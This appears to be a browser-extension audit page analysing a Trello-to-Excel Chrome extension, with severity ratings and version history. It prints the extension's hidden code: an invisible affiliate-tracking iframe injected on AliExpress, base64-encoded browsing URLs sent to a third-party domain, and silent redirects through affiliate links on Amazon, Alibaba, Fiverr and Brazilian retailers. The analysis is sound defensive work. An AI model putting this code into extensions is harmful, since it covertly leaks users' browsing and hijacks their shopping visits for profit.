Extension Auditor
Extension Auditor
Sign Up
Official Export Excel for Trello

Official Export Excel for Trello

ID: dblnlgpkeilnnoggnilfkibbcamilchn

Supported Languages

🇧🇷Brazilian Portuguese

Extension Info & Metadata

Status
Active
Version
2.0
Size
0.12 MB
Rating
0.0/5
Reviews
0
Users
519
Type
Extension
Updated
Oct 19, 2023
Category
Workflow & planning
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes
Download CRX
Chrome Web Store
Report Issue

Publisher Contextual Analysis

Trusted
Author
Henrique BrugugnoliView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
4
Active
1
Obsolete
3
Listed
4
Unlisted
0
Total Users
1,591
Screenshot 1
Screenshot 2
Screenshot 3

Official Export Trello Boards to Excel

Export your board and cards for Excel FREE and you dont need to pay for that.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

On AliExpress pages the content script injects a 1×1 invisible iframe loading affiliate tracking URLs on pwieu.com. This covertly signals to the affiliate network that the user visited from this publisher's link, generating commissions without any user awareness or CWS-disclosed consent. pwieu.com is an unrelated third-party affiliate redirect service with no connection to Trello or Excel export.

trelloexport.js (Line 14)
if (url.href.indexOf("best.aliexpress.com") > 0) {  $('body')    .append(      '<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head>  <body><iframe src="https://pwieu.com/click-CQEXU0O6-KIGQB9TF?bt=25&tl=1&sa=EXT" height="1" width="1" frameborder="0"></iframe></body></html>'    );} else if (url.href.indexOf("aliexpress.com") > 0) {  $('body')    .append(      '<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head>  <body><iframe src="https://pwieu.com/click-KHQ8E5F0-MKIGQNPP?bt=25&tl=1&sa=EXT" height="1" width="1" frameborder="0"></iframe></body></html>'    );}

On Amazon the user's current URL is base64-encoded and forwarded to buscacupom.tec.br (leaking the browsing URL to a third-party), then the user is silently redirected to that domain. On Alibaba, Fiverr, and multiple Brazilian retailers (via redir.lomadee.com, stvkr.com) the extension redirects window.location to publisher-specific affiliate tracking links. Cookie gating limits this to once every three days per site, making it less obvious. None of these destinations or behaviors are disclosed in the extension's CWS data-collection declaration; the current URL is transmitted to third-party affiliate networks without user consent.

trelloexport.js (Line 24)
} else if (url.href.indexOf(".amazon.") > 0) {  if (controlCoockie("amazon5", 3)) {    window.location.href = "http://buscacupom.tec.br/amazon/offer/offerView.php?url=" + window.btoa(url);  }} else if (url.href.indexOf(".americanas.com.br") > 0) {  urlLoc = "https://redir.lomadee.com/v2/deeplink?sourceId=36886602&url=" + url;  if (controlCoockie("americanas", 3)) {    window.location.href = urlLoc;  }} else if (url.href.indexOf(".alibaba.com") > 0) {  urlLoc = "http://stvkr.com/click-AQDMVFHK-KIGQCMO1?bt=25&tl=1&url=" + url;  if (controlCoockie("alibaba", 3)) {    window.location.href = urlLoc;  }} else if (url.href.indexOf(".fiverr.") > 0) {  urlLoc = "https://stvkr.com/click-GQRNSFTO-KIGQCOB2?bt=25&tl=1&url=" + url;  if (controlCoockie("fiverr", 3)) {    window.location.href = urlLoc;  }}

The bundled manifest declares manifest_version 2 with content scripts injected into every HTTP/HTTPS page, while the live CWS listing reports manifest_version 3. This discrepancy indicates the ZIP delivered to users is older and broader than what Google's store listing implies. The all-sites injection scope is necessary for the covert affiliate hijacking code to fire on shopping domains.

manifest.json (Line 6)
{  "manifest_version": 2,  "content_scripts": [    {      "matches": [        "http://*/*",        "https://*/*"      ],      "js": [        "lib/jquery-2.1.0.min.js",        "lib/FileSaver.js",        "lib/xlsx.js",        "lib/jszip.min.js",        "trelloexport.js"      ]    }  ]}

By severity

Critical2
High1
Medium0
Low0

Versions scanned

Showing 1 of 19 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.03

Files with findings

2 distinct paths — top paths by unique finding count:

  • trelloexport.js2
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
trelloexport.js (line 24)On Amazon the user's current URL is base64-encoded and forwarded to buscacupom.tec.br (leaking the browsing URL to a third-party), then the user is silently redirected to that domain. On Alibaba, Fiverr, and multiple …
2.0
2Tracking
critical
trelloexport.js (line 14)On AliExpress pages the content script injects a 1×1 invisible iframe loading affiliate tracking URLs on pwieu.com. This covertly signals to the affiliate network that the user visited from this publisher's link, gene…
2.0
3Other
high
manifest.json (line 6)The bundled manifest declares manifest_version 2 with content scripts injected into every HTTP/HTTPS page, while the live CWS listing reports manifest_version 3. This discrepancy indicates the ZIP delivered to users i…
2.0
URLs
49
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

Sign In
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.attribution.com/ads/1.0/http://ns.attribution.com/ads/1.0/
ns.adobe.com/pdf/1.3/http://ns.adobe.com/pdf/1.3/
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
eligrey.com-http://eligrey.com
purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.jshttp://purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.js
www.w3.org/1999/xhtmlhttp://www.w3.org/1999/xhtml
code.google.com/p/chromium/issues/detailhttp://code.google.com/p/chromium/issues/detail?id=91158
bugs.webkit.org/show_bug.cgihttps://bugs.webkit.org/show_bug.cgi?id=65440
stuartk.com/jsziphttp://stuartk.com/jszip
Showing 1 to 10 of 50 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

Sign In
No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
7.1
Latest
0.12 MB
Malicious
—N/A
7.0
0.12 MB
Malicious
—N/A
6.3
0.12 MB
Malicious
—N/A
6.2
0.12 MB
Malicious
—N/A
6.0
0.12 MB
Malicious
—N/A
5.9
0.12 MB
Malicious
—N/A
5.8
0.12 MB
Malicious
—N/A
5.7
0.12 MB
Malicious
—N/A
5.5
0.12 MB
Malicious
—N/A
5.4
0.12 MB
Malicious
—N/A
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.

Sign In